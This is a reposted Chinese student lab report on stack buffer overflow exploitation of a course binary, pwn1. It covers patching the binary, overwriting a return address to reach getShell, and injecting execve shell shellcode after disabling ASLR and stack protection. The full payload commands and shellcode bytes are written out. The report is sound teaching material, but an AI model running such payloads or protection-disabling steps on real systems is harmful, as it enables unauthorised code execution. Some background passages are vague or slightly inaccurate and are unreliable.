20232810 2023-2024-2 《网络攻防实践》实验九

一、实践内容

1.1 反汇编

1.1.1 编程原理

编程的原理是一套指导软件开发和维护的概念、原则和实践,包括抽象以简化复杂系统、模块化以分解程序、封装以隐藏内部状态、继承以共享特性、多态以允许不同响应、算法和数据结构以组织计算和存储、控制结构以控制流程、错误处理以确保健壮性、测试以验证正确性、性能优化以提高效率、可维护性和可读性以保证代码质量、重构以改善内部结构、设计模式以解决常见问题、并发和分布式系统以处理多任务和多节点、安全性以保护程序和数据、以及版本控制和持续集成/部署以优化开发流程。

1.1.2 折叠编辑本段作用及方式

折叠编辑本段的作用是通过隐藏代码的次要部分来提高代码的可读性和组织性,其方式通常是通过编辑器提供的点击或快捷键操作实现,允许开发者选择性地展开或收起代码段。

1.1.3 折叠静态反汇编

折叠静态反汇编是指在分析程序的反汇编代码时,将重复或不重要的指令序列进行折叠隐藏,以便更清晰地查看和分析关键的程序逻辑和结构。

1.1.4 折叠编辑本段相关工具

折叠编辑本段的相关工具通常是集成在代码编辑器或集成开发环境(IDE)中的,它们允许开发者通过点击代码块旁边的图标或使用快捷键来折叠(隐藏)或展开(显示)代码段,以提高代码的可读性和编辑效率。

1.2 一些汇编指令的机器码

NOP (No Operation) - 无操作,通常用作占位符或延迟。
机器码:0x90
MOV (Move) - 将数据从一个位置移动到另一个位置。
示例:将立即数 123 移动到寄存器 AX。
机器码:B8 7B 00 00 00
ADD (Add) - 将两个数相加。
示例:将寄存器 AL 和 BL 相加,结果存回 AL。
机器码:00 D8
SUB (Subtract) - 减法操作。
示例:将寄存器 BL 的内容从 AL 中减去。
机器码:2A C3
JMP (Jump) - 无条件跳转到指定地址。
示例:跳转到内存地址 0x1000。
机器码:EB 18 (相对跳转) 或 E9 XX XX XX XX (绝对跳转)

1.3 补码

补码(Two’s Complement)是一种用于表示整数的计算机编码方式,它允许负数的表示和简化了加法与减法的计算。在补码系统中,正数的表示与其原码(即直接的二进制表示)相同,而负数的表示为其绝对值的二进制表示取反(即每一位取0变1,取1变0)后加1。
补码的主要特点包括:

  1. 负数表示:一个数的补码是该数的相反数的二进制表示加1。
  2. 加法通用:补码允许使用相同的硬件电路执行加法操作,无论是处理有符号数还是无符号数的加法。
  3. 溢出检测:在补码表示中,加法溢出可以通过检查结果的最高位是否与次高位相同来检测。
  4. 减法转换:减法可以通过转换为加法来执行,即a - b可以表示为a + (-b),其中-bb的补码。
  5. 范围:在n位补码表示中,可以表示的范围是-2(n-1)到2(n-1)-1。
    补码是现代计算机中使用最广泛的整数表示方法,因为它简化了算术运算的硬件实现,并且使得负数的表示和运算更加直观。

1.4 本次实验内容

1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2、实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二、实践过程

2.1 手工修改可执行文件

为实现方便在另外的Ubuntu虚拟机中实现

1、首先将 kali 虚拟机名称由abc-virtual-machine改为xf(临时修改)。

2、在学习通下载pwn1文件到abc-virtual-machine里面。
在这里插入图片描述
3、输入objdump -d pwn1 | more,对pwn1文件进行反汇编。
在这里插入图片描述
4、往下找可以找到getShellfoomain函数。
在这里插入图片描述
在上图中,可以看到main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。
三者关系:80484ba + d7 ff ff ff = 08048491。
要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址(上图中有)即可。用上述关系计算:804847d - 80484ba = c3 ff ff ff。可得要修改的机器指令为:e8 c3 ff ff ff
5、下面进行修改
(1)用 cp pwn1 pwn20232810 对pwn1文件进行保护,防止破坏,然后输入 vi pwn20232810 对 pwn20232810文件进行修改。
在这里插入图片描述
在这里插入图片描述
(2)上图中的源代码格式修改起来不太容易,按esc键并输入 :%!xxd 将其变为16进制。(没有xxd的话要先安装)
在这里插入图片描述
(3)然后 :wq 保存退出,查看文件权限 ls -l
在这里插入图片描述
(4)再次进入pwn20232810文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。
在这里插入图片描述
(5)输入 :%!xxd -r 还原为原格式后,:wq 保存退出。
在这里插入图片描述
在这里插入图片描述
(6)此处验证一下 objdump -d pwn20232810 | more 定位过去发现已经成功修改。
在这里插入图片描述
(7)重新运行一下pwn1文件和pwn20231906,看文件功能是否改变。
在这里插入图片描述
攻击成功。
在这里插入图片描述

2.2 构造输入字符串

再次使用objdump -d pwn20232810 | more 命令反编译文件观察foo函数,系统仅预留了 28(0x1c)字节的缓冲区,当输入的字符串长度过长将发生缓冲区溢出,我们的目标是输入一个长字符串使其溢出,覆盖返回地址。
输入命令行 gdb pwn1 对文件pwn1进行调试,再输入r运行。输入长字符串1111111122222222333333334444444455555555。
在这里插入图片描述
在这里插入图片描述
可以看到eip的值为0x35353535 ,即 5555 的 ASCII码。
输入长字符串1111111122222222333333334444444412345678,看到第33-36字节1234将覆盖到堆栈上的返回地址。
在这里插入图片描述
再次确认getShell的内存地址为0804847d。
在这里插入图片描述
所以要构造的长字符串第33-36字节为0x7d840408。
输入命令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231906
输入命令 xxd 20231906 查看文件的内容是否如预期。
在这里插入图片描述
输入 命令 (cat 20231906; cat) | ./pwn1,将20231906的输入作为pwn1的输入。可以看到攻击成功。
在这里插入图片描述

2.3注入shellcode并运行

安装execstack。
输入 execstack -s pwn1 设置堆栈可执行。
输入 execstack -q pwn1 查询文件的堆栈是否可执行。
在这里插入图片描述
输入 echo “0” > /proc/sys/kernel/randomize_va_space 关闭地址随机化。
在这里插入图片描述
使用输出重定向将perl生成的字符串存储到文件中 perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_20232810
在这里插入图片描述
输入 (cat input_20232810;cat) | ./pwn1 注入攻击。
在这里插入图片描述
再打开另一个终端,输入ps -ef | grep pwn1 查看pwn1的进程号。
在这里插入图片描述
可以看到进程号为3624。
输入 gdb pwn1进行gdb 调试,输入 attach 3624查看pwn1进程。
在这里插入图片描述
输入 disassemble foo,对foo进行反编译。
在这里插入图片描述
接着输入 break *0x080484ae 在 0x080484ae 处设置断点。
在这里插入图片描述
在第一个终端按下回车,在第二个终端输入 c 。
输入 info r esp 查看栈顶指针所在的位置为 0xffffd5bc,输入命令 x/16x 0xffffd5bc查看存放内容。
在这里插入图片描述
在这里插入图片描述
看到 0xffffd5bc 中有0x04030201,就是返回地址的位置。计算ffffd5bc+00000004=ffffd5c0。
输入命令perl -e ‘print “A” x 32;print “\xc0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > input_20232810 重新构造shellcode内容。
然后输入(cat input_20232810;cat) | ./pwn1命令再次运行,可以看到攻击成功。
在这里插入图片描述

三、学习中遇到的问题及解决

1、问题:在实验一中,用 :%!xxd 修改源代码格式,提示没有 xxd 指令
解决方法:使用 apt-get install xxd 安装 xxd(用桥接模式下载)

四、学习感想和体会

同时通过这次实验,让我对Linux系统的使用更加熟悉,对Linux的各种命令有了更深入的了解。实验过程中虽说遇到了许多问题,但这样的情况已经习惯了,只要用心解决,办法总比困难多。

五、参考资料

https://blog.csdn.net/WangLal/article/details/113100071
https://www.cnblogs.com/WangAoBo/p/6563760.html
https://blog.csdn.net/m0_65266036/article/details/129678551
https://www.cnblogs.com/daijunxi2019/p/15994636.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/626989.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Spring Cloud系列—Spring Cloud Gateway服务网关的部署与使用指南

Gateway网关 文章目录 Gateway网关1. 网关基本简介1.1 什么是网关1.2 为什么需要网关? 2. 快速搭建gateway网关2.1 创建新模块2.2 引入依赖2.3 编写启动类2.4 配置路由规则2.5 测试 3. 路由过滤4. 过滤器4.1 简介4.2 网关过滤器4.2.2 种类 4.3 自定义过滤器4.3.1 自…

windows11 Django环境安装

相关文档 1、验证python和pip3环境 C:\Users\Administrator>python Python 3.12.3 (tags/v3.12.3:f6650f9, Apr 9 2024, 14:05:25) [MSC v.1938 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for…

Linux修改终端命令颜色

1.在家目录中修改.bashrc文件 cd ~ vim .bashrc2.找到PS1相关段落,把其他的注释掉,填上该行代码,修改为自己设置的颜色 (具体颜色查看参考文章) 提供两种颜色,其他的自学调色盘吧(下文有)~ (祝你愉快) ①浅蓝色 深蓝 PS1\[\03…

Ubuntu环境搭建与共享文件

vmtool 然后依次执行以下指令 sudo apt-get update 更新包列表。访问系统的软件仓库源,检查所有已知软件包的最新版本,并更新本地数据库,使得可以安装或升级到最新的软件版本。sudo apt-get upgrade 升级所有已安装的软件包到它们的最新版本。这不包括新安装的软件包,仅限…

6. RedHat认证-基于公钥的认证方式

6. RedHat认证-基于公钥的认证方式 主要学习客户端访问服务端的时候,免密登录这一方式 注意: 免密登录只是基于公钥认证的一个附带属性(基于公钥认证的方式更加安全,防止黑客暴力破解) 第一步:将客户端生成的秘钥传送到服务器 在客户端通过…

基于 Spring Boot 博客系统开发(九)

基于 Spring Boot 博客系统开发(九) 本系统是简易的个人博客系统开发,为了更加熟练地掌握 SprIng Boot 框架及相关技术的使用。🌿🌿🌿 基于 Spring Boot 博客系统开发(八)&#x1f…

短剧看剧系统,当前互联网热门项目工具系统模板。

目录 揭秘爆款神器:短剧看剧系统,让你的内容火遍全网! 一、短剧看剧系统:一站式解决方案 二、灵活定价,实现收益最大化 三、高效管理,团队协作更轻松 四、数据驱动,精准把握市场动态 五、智…

MM模块学习二 (供应商,物料后台相关配置)

公司代码配置 新建条目(只是建了一个名字出来,后面很多表都是没有得) 接下来定义公司代码: 公司代码复制完成(后续修改交给财务顾问去做) 复制工厂: 复制工厂完成: 修改复制过去的工…

风电功率预测 | 基于GRU门控循环单元的风电功率预测(附matlab完整源码)

风电功率预测 风电功率预测 | 基于GRU门控循环单元的风电功率预测(附matlab完整源码)完整代码风电功率预测 | 基于GRU门控循环单元的风电功率预测(附matlab完整源码) 完整代码 clc; clear close allX = xlsread(风电场预测.xlsx)

【微记录】Makefile中wildcard(通配)的一种用法--如何避免某个头文件路径不存在造成CLFAGS添加后编译报错?

文章目录 背景方法:wildcard补充信息wildcard解释Make中wildcard用法 背景 工程中,如果某个代码需要再不同平台有不同的依赖头文件,于是会出现不同平台依赖头文件路径不一样,但是为了适配多个平台如何做到避免某个头文件路径不存…

数字集成电路物理设计[陈春章]——知识总结与精炼01

第一章 集成电路物理设计方法 1.1 数字集成电路设计挑战 1.2 数字集成电路设计流程 前两节内容讲述的是数字集成电路发展与流程,知识体系比较宏观和简单,请读者自行了解即可。 1.3 数字集成电路设计收敛 实现设计收敛任务:①数据系统;②优…

tensorflow实现二分类

# 导入所需库和模块 from tensorflow.keras.layers import Dense, Input, Activation # 导入神经网络层和激活函数模块 from tensorflow.keras.models import Sequential # 导入Keras的Sequential模型 import pandas as pd # 导入Pandas库用于数据处理 import numpy as np …

AI网络爬虫:用kimichat自动批量提取网页内容

首先,在网页中按下F12键,查看定位网页元素: 然后在kimi中输入提示词: 你是一个Python编程专家,要完成一个爬取网页内容的Python脚本,具体步骤如下: 在F盘新建一个Excel文件:提示词…

JavaScript异步编程——09-Promise类的方法【万字长文,感谢支持】

Promise 类的方法简介 Promise 的 API 分为两种: Promise 实例的方法(也称为:Promis的实例方法) Promise 类的方法(也称为:Promise的静态方法) 前面几篇文章,讲的都是 Promise 实…

SpringBoot解决CORS跨域——WebMvcConfigurationSupport

前端请求后端报错了。 状态码:403 返回错误:Invalid coRs request 增加配置类WebMvcConfig Configuration public class WebMvcConfig extends WebMvcConfigurationSupport {Overridepublic void addCorsMappings(CorsRegistry registry) {// 允许跨域…

Python中tkinter编程入门4

在Python中tkinter编程入门3-CSDN博客中创建了Button控件,点击该控件就会产生一个点击事件,在创建Button控件时指定该点击事件的处理程序后,按键控件就会对用户的点击事件产生响应。 1 定义事件处理器 定义事件处理器就是一个自定义的函数。…

2024年小学生古诗文大会备考:吃透历年真题和知识点(持续)

根据往年的安排,2024年小学生古诗文大会预计这个月就将启动。该如何备考2024年小学生古诗文大会呢?根据往期的经验,只要吃透这些真题和背后的知识点,通过上海小学生古诗文大会的初选(初赛)一点问题都没有。…

使用docker创建hadoop集群:Couldn‘t upload the file

运行的环境; Windows10 Docker Desktopdocker-hadoop 出现的问题如下: 解决方法 https://github.com/big-data-europe/docker-hadoop/issues/98

美国站群服务器如何提高企业网站的负载均衡能力?

美国站群服务器如何提高企业网站的负载均衡能力? 美国站群服务器是企业提高网站负载均衡能力的重要工具之一。随着网络流量的增加和用户需求的多样化,如何有效地管理和分配流量成为了企业面临的挑战。通过采用美国站群服务器,企业可以实现流量的智能分…

JETBRAINS IDES 分享一个2099通用试用码!CLion 2024 版 ,支持一键升级

文章目录 废话不多说上教程:(动画教程 图文教程)一、动画教程激活 与 升级(至最新版本) 二、图文教程 (推荐)Stage 1.下载安装 toolbox-app(全家桶管理工具)Stage 2 : 下…